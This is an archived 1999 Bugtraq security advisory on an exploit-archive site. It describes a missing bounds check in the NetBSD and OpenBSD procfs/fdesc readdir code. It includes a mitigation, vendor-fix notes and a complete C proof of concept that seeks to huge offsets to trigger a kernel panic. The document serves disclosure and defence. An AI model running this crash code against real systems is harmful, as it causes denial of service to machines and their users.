exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

bsd_bugs.txt

bsd_bugs.txt
Posted Sep 22, 1999

Exploit for netbsd/openbsd procfs/fdesc

tags | exploit
systems | netbsd, openbsd
SHA-256 | cb0a085761bf7693a68d4f3da98e5845f742e759a48a6fe9a8af9ddc25ec42e9

bsd_bugs.txt

Change Mirror Download
Subject:      serious problem in netbsd/openbsd procfs/fdesc
To: BUGTRAQ@SECURITYFOCUS.COM


Greetings.


I have found a nasty bug in the fdesc and procfs filesystems included with
NetBSD and OpenBSD. Any user with access to a mounted procfs/fdesc
filesystem has the ability to cause a kernel panic.


The problem is that the readdir vnodeop for both procfs and fdesc blindly uses
the value of element uio_index of the struct uio (passed in by VOP_READDIR())
as an index into an array, without first properly checking its size.
sys_getdirentries(), which calls VOP_READDIR(), sets uio_index to the open
file's f_offset, which is modified by lseek (among other things).


Here's an illustration, taken from procfs_readdir() in OpenBSD's
procfs_vnops.c:


if (uio->uio_resid < UIO_MX)
return (EINVAL);
if (uio->uio_offset < 0)
return (EINVAL);


error = 0;
i = uio->uio_offset;


[...]


for (pt = &proc_targets[i];
uio->uio_resid >= UIO_MX && i < nproc_targets; pt++, i++) {
if (pt->pt_valid && (*pt->pt_valid)(p) == 0)
continue;


One way for a user to take advantage of this problem is as follows: a user
opens either a process-specific subdirectory (in the case of procfs) or the
root directory (in the case of fdesc). The user then sets the file offset
to an unreasonably large (positive) number with lseek(). The user then calls
getdirentries().


A temporary solution is to unmount all instances of procfs and fdesc. This
is not likely to detrimentally affect anything.


Here's example code that tries getdirentries() calls on directories after
lseek()ing to high offsets.
(warning: if your system is vulnerable, this is very likely to cause a kernel
panic)


--- cut here ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>


main(int argc, char *argv[]) {
int dirfd;
unsigned long basep;
unsigned long hmm;
char buf[2048];


if(argc < 2) {
fprintf(stderr, "usage: %s directory\n", argv[0]);
exit(1);
}


if((dirfd = open(argv[1], O_RDONLY)) == -1) {
perror("open");
exit(1);
}


for(hmm = 0xf0000000; hmm <= 0xffffffff; hmm+=1) {
if(lseek(dirfd, hmm, SEEK_SET) == -1) {
perror("lseek");
exit(1);
}


/* address won't effectively change, but index variable used as a test
* will be very large; kernel's loop should continue and break
* something
*/
if(getdirentries(dirfd, buf, 2048, &basep) == -1) {
perror("getdirentries");
exit(1);
}
}
exit(0);
}
--- cut here ---


This problem has existed since at least as far back as OpenBSD 2.3 and NetBSD
1.3.2.


Both NetBSD and OpenBSD have been contacted about this. This has been fixed
in the current OpenBSD tree and should soon be able from your nearest anoncvs
server. Thanks to deraadt@openbsd.org for a quick response.


--
<cstone@pobox.com>
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close